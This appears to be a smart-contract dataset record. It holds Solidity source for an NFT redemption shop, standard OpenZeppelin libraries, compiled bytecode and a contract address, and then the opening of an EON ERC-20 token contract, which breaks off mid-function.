// If there is a non-zero redemption price, perform the required token burn. if (config.price > 0) { IERC20(config.payingToken).safeTransferFrom( _msgSender(), burnDestination, config.price * _tokenIds.length ); } // Mint the caller their redeemed items. ITiny721(config.tokenOut).mint_Qgo( _msgSender(), config.amountOut * _tokenIds.length ); } /** Allow the owner to sweep either Ether or a particular ERC-20 token from the contract and send it to another address. This allows the owner of the shop to withdraw their funds after the sale is completed. @param _token The token to sweep the balance from; if a zero address is sent then the contract's balance of Ether will be swept. @param _destination The address to send the swept tokens to. @param _amount The amount of token to sweep. */ function sweep ( address _token, address _destination, uint256 _amount ) external onlyOwner nonReentrant { // A zero address means we should attempt to sweep Ether. if (_token == address(0)) { (bool success, ) = payable(_destination).call{ value: _amount }(""); if (!success) { revert SweepingTransferFailed(); } // Otherwise, we should try to sweep an ERC-20 token. } else { IERC20(_token).safeTransfer(_destination, _amount); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.11; /** @title A minimalistic, gas-efficient ERC-721 implementation forked from the `Super721` ERC-721 implementation used by SuperFarm. @author Tim Clancy @author 0xthrpw @author Qazawat Zirak @author Rostislav Khlebnikov Compared to the original `Super721` implementation that this contract forked from, this is a very pared-down contract that includes simple delegated minting and transfer locks. This contract includes the gas efficiency techniques graciously shared with the world in the specific ERC-721 implementation by Chiru Labs that is being called "ERC-721A" (https://github.com/chiru-labs/ERC721A). We have validated this contract against their test cases. February 8th, 2022. */ interface ITiny721 { /** Return whether or not the transfer of a particular token ID `_id` is locked. @param _id The ID of the token to check the lock status of. @return Whether or not the particular token ID `_id` has transfers locked. */ function transferLocks ( uint256 _id ) external returns (bool); /** Provided with an address parameter, this function returns the number of all tokens in this collection that are owned by the specified address. @param _owner The address of the account for which we are checking balances */ function balanceOf ( address _owner ) external returns ( uint256 ); /** Return the address that holds a particular token ID. @param _id The token ID to check for the holding address of. @return The address that holds the token with ID of `_id`. */ function ownerOf ( uint256 _id ) external returns (address); /** This function allows permissioned minters of this contract to mint one or more tokens dictated by the `_amount` parameter. Any minted tokens are sent to the `_recipient` address. Note that tokens are always minted sequentially starting at one. That is, the list of token IDs is always increasing and looks like [ 1, 2, 3... ]. Also note that per our use cases the intended recipient of these minted items will always be externally-owned accounts and not other contracts. As a result there is no safety check on whether or not the mint destination can actually correctly handle an ERC-721 token. @param _recipient The recipient of the tokens being minted. @param _amount The amount of tokens to mint. */ function mint_Qgo ( address _recipient, uint256 _amount ) external; /** This function allows an administrative caller to lock the transfer of particular token IDs. This is designed for a non-escrow staking contract that comes later to lock a user's NFT while still letting them keep it in their wallet. @param _id The ID of the token to lock. @param _locked The status of the lock; true to lock, false to unlock. */ function lockTransfer ( uint256 _id, bool _locked ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80636e6c84d8116100715780636e6c84d81461014d578063715018a6146101915780638da5cb5b146101995780639623cdb8146101aa578063c1586476146101bd578063f2fde38b1461024e57600080fd5b80630fca9687146100ae5780631909c28f146100f25780635dc18aca146101125780635f81f6d11461012557806362c067671461013a575b600080fd5b6100d57f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b61010561010036600461119b565b610261565b6040516100e991906111f4565b6100d561012036600461123a565b610353565b61013861013336600461125c565b61038b565b005b610138610148366004611319565b6108f1565b61018161015b36600461135a565b600460209081526000938452604080852082529284528284209052825290205460ff1681565b60405190151581526020016100e9565b610138610a18565b6000546001600160a01b03166100d5565b6101386101b8366004611381565b610a4e565b6102106101cb36600461141b565b600360205260009081526040902080546001909101546001600160601b03808316926001600160a01b03600160601b90910481169290811691600160a01b9091041684565b6040516100e994939291906001600160601b0394851681526001600160a01b0393841660208201529190921660408201529116606082015260800190565b61013861025c366004611434565b610c54565b60606000825167ffffffffffffffff81111561027f5761027f6110c5565b6040519080825280602002602001820160405280156102a8578160200160208202803683370190505b50905060005b83518110156103485760008681526004602090815260408083206001600160a01b0389168452909152812085519091908690849081106102f0576102f0611451565b6020026020010151815260200190815260200160002060009054906101000a900460ff1682828151811061032657610326611451565b9115156020928302919091019091015261034160018261147d565b90506102ae565b5090505b9392505050565b6002602052816000526040600020818154811061036f57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600260015414156103e35760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b60026001819055600083815260209182526040808220805482518186028101860190935280835292939192909183018282801561044957602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161042b575b505050600086815260036020908152604091829020825160808101845281546001600160601b0380821683526001600160a01b03600160601b90920482169483019490945260019283015490811694820194909452600160a01b909304909116606083018190529495509093101591506104d89050576040516359746fb560e01b815260040160405180910390fd5b60005b83518110156107fa5782518482815181106104f8576104f8611451565b6020026020010151511461051f57604051631f57942960e21b815260040160405180910390fd5b60005b835181101561078c5760046000878152602001908152602001600020600085838151811061055257610552611451565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600086848151811061058e5761058e611451565b602002602001015183815181106105a7576105a7611451565b60209081029190910181015182528101919091526040016000205460ff16156105e357604051635697be9560e11b815260040160405180910390fd5b336001600160a01b03168482815181106105ff576105ff611451565b60200260200101516001600160a01b0316636352211e87858151811061062757610627611451565b6020026020010151848151811061064057610640611451565b60200260200101516040518263ffffffff1660e01b815260040161066691815260200190565b6020604051808303816000875af1158015610685573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a99190611495565b6001600160a01b0316146106d057604051638b57eb5960e01b815260040160405180910390fd5b60008681526004602052604081208551600192908790859081106106f6576106f6611451565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600087858151811061073257610732611451565b6020026020010151848151811061074b5761074b611451565b6020026020010151815260200190815260200160002060006101000a81548160ff021916908315150217905550600181610785919061147d565b9050610522565b50336001600160a01b0316857f9b347aa45abdfb56c44f052dd72bfe3b853cb8d508f8fb6be4511923b8d8d8208684815181106107cb576107cb611451565b60200260200101516040516107e091906114b2565b60405180910390a36107f360018261147d565b90506104db565b5080516001600160601b03161561085d5761085d33845183517f000000000000000000000000000000000000000000000000000000000000dead91610847916001600160601b03166114ea565b60408501516001600160a01b0316929190610cef565b60208101516001600160a01b031661178433855184606001516001600160601b031661088991906114ea565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b1580156108cf57600080fd5b505af11580156108e3573d6000803e3d6000fd5b505060018055505050505050565b6000546001600160a01b0316331461091b5760405162461bcd60e51b81526004016103da90611509565b6002600154141561096e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016103da565b60026001556001600160a01b0383166109fb576000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146109ce576040519150601f19603f3d011682016040523d82523d6000602084013e6109d3565b606091505b50509050806109f557604051639081276360e01b815260040160405180910390fd5b50610a0f565b610a0f6001600160a01b0384168383610d60565b50506001805550565b6000546001600160a01b03163314610a425760405162461bcd60e51b81526004016103da90611509565b610a4c6000610d95565b565b6000546001600160a01b03163314610a785760405162461bcd60e51b81526004016103da90611509565b81610a9657604051630786e6f560e21b815260040160405180910390fd5b6000610aa86040830160208401611434565b6001600160a01b03161415610ad05760405163742bae9d60e01b815260040160405180910390fd5b6000610ae26060830160408401611434565b6001600160a01b03161415610b0a57604051634d9eeba560e11b815260040160405180910390fd5b6000848152600260205260409020610b23908484611038565b50604080516080810190915280610b3d602084018461155a565b6001600160601b03168152602001826020016020810190610b5e9190611434565b6001600160a01b03168152602001610b7c6060840160408501611434565b6001600160a01b03168152602001610b9a608084016060850161155a565b6001600160601b039081169091526000868152600360209081526040918290208451918501516001600160a01b03908116600160601b0292851692909217815584830151606090950151909316600160a01b0293169290921760019091015551610c05908290611575565b60405180910390208383604051610c1d9291906115dc565b6040519081900381209086907eff06517f85da1964aedff2f8fbeb1c1f9e470b35bc581f5b6fdaa8b292c0c590600090a450505050565b6000546001600160a01b03163314610c7e5760405162461bcd60e51b81526004016103da90611509565b6001600160a01b038116610ce35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103da565b610cec81610d95565b50565b6040516001600160a01b0380851660248301528316604482015260648101829052610d5a9085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610de5565b50505050565b6040516001600160a01b038316602482015260448101829052610d9090849063a9059cbb60e01b90606401610d23565b505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610e3a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610eb79092919063ffffffff16565b805190915015610d905780806020019051810190610e58919061161e565b610d905760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016103da565b6060610ec68484600085610ece565b949350505050565b606082471015610f2f5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016103da565b6001600160a01b0385163b610f865760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016103da565b600080866001600160a01b03168587604051610fa2919061166c565b60006040518083038185875af1925050503d8060008114610fdf576040519150601f19603f3d011682016040523d82523d6000602084013e610fe4565b606091505b5091509150610ff4828286610fff565b979650505050505050565b6060831561100e57508161034c565b82511561101e5782518084602001fd5b8160405162461bcd60e51b81526004016103da9190611688565b82805482825590600052602060002090810192821561108b579160200282015b8281111561108b5781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190611058565b5061109792915061109b565b5090565b5b80821115611097576000815560010161109c565b6001600160a01b0381168114610cec57600080fd5b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611104576111046110c5565b604052919050565b600067ffffffffffffffff821115611126576111266110c5565b5060051b60200190565b600082601f83011261114157600080fd5b813560206111566111518361110c565b6110db565b82815260059290921b8401810191818101908684111561117557600080fd5b8286015b848110156111905780358352918301918301611179565b509695505050505050565b6000806000606084860312156111b057600080fd5b8335925060208401356111c2816110b0565b9150604084013567ffffffffffffffff8111156111de57600080fd5b6111ea86828701611130565b9150509250925092565b6020808252825182820181905260009190848201906040850190845b8181101561122e578351151583529284019291840191600101611210565b50909695505050505050565b6000806040838503121561124d57600080fd5b50508035926020909101359150565b6000806040838503121561126f57600080fd5b8235915060208084013567ffffffffffffffff8082111561128f57600080fd5b818601915086601f8301126112a357600080fd5b81356112b16111518261110c565b81815260059190911b830184019084810190898311156112d057600080fd5b8585015b83811015611308578035858111156112ec5760008081fd5b6112fa8c89838a0101611130565b8452509186019186016112d4565b508096505050505050509250929050565b60008060006060848603121561132e57600080fd5b8335611339816110b0565b92506020840135611349816110b0565b929592945050506040919091013590565b60008060006060848603121561136f57600080fd5b833592506020840135611349816110b0565b60008060008084860360c081121561139857600080fd5b85359450602086013567ffffffffffffffff808211156113b757600080fd5b818801915088601f8301126113cb57600080fd5b8135818111156113da57600080fd5b8960208260051b85010111156113ef57600080fd5b6020929092019550909350506080603f198201121561140d57600080fd5b509295919450926040019150565b60006020828403121561142d57600080fd5b5035919050565b60006020828403121561144657600080fd5b813561034c816110b0565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000821982111561149057611490611467565b500190565b6000602082840312156114a757600080fd5b815161034c816110b0565b6020808252825182820181905260009190848201906040850190845b8181101561122e578351835292840192918401916001016114ce565b600081600019048311821515161561150457611504611467565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80356001600160601b038116811461155557600080fd5b919050565b60006020828403121561156c57600080fd5b61034c8261153e565b60006001600160601b03806115898561153e565b168352602084013561159a816110b0565b6001600160a01b0390811660208501526040850135906115b9826110b0565b166040840152806115cc6060860161153e565b1660608401525050608001919050565b60008184825b858110156116135781356115f5816110b0565b6001600160a01b0316835260209283019291909101906001016115e2565b509095945050505050565b60006020828403121561163057600080fd5b8151801515811461034c57600080fd5b60005b8381101561165b578181015183820152602001611643565b83811115610d5a5750506000910152565b6000825161167e818460208701611640565b9190910192915050565b60208152600082518060208401526116a7816040850160208701611640565b601f01601f1916919091016040019291505056fea26469706673582212200b8e683fffbdd4600dcfb922327174593b11cb967c72cadf45830b9d0dfdf85f64736f6c634300080b0033
[ 7, 12 ]
0xF2b4bB6cA987fbB9b6ECD5a8d94B27DfAaE49204
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "./ERC20.sol"; import "./interfaces/IEON.sol"; contract EON is IEON, ERC20 { // Tracks the last block that a caller has written to state. // Disallow some access to functions if they occur while a change is being written. mapping(address => uint256) private lastWrite; // address => allowedToCallFunctions mapping(address => bool) private admins; //ower address public auth; // hardcoded max eon supply 5b uint256 public constant MAX_EON = 5000000000 ether; // amount minted uint256 public minted; constructor() ERC20("EON", "EON", 18) { auth = msg.sender; } modifier onlyOwner() { require(msg.sender == auth); _; } /** * enables an address to mint / burn * @param addr the address to enable */ function addAdmin(address addr) external onlyOwner { admins[addr] = true; } /** * disables an address from minting / burning * @param addr the address to disbale */ function removeAdmin(address addr) external onlyOwner { admins[addr] = false; } function transferOwnership(address newOwner) external onlyOwner { auth = newOwner; } /** * mints $EON to a recipient * @param to the recipient of the $EON * @param amount the amount of $EON to mint */ function mint(address to, uint256 amount) external override { 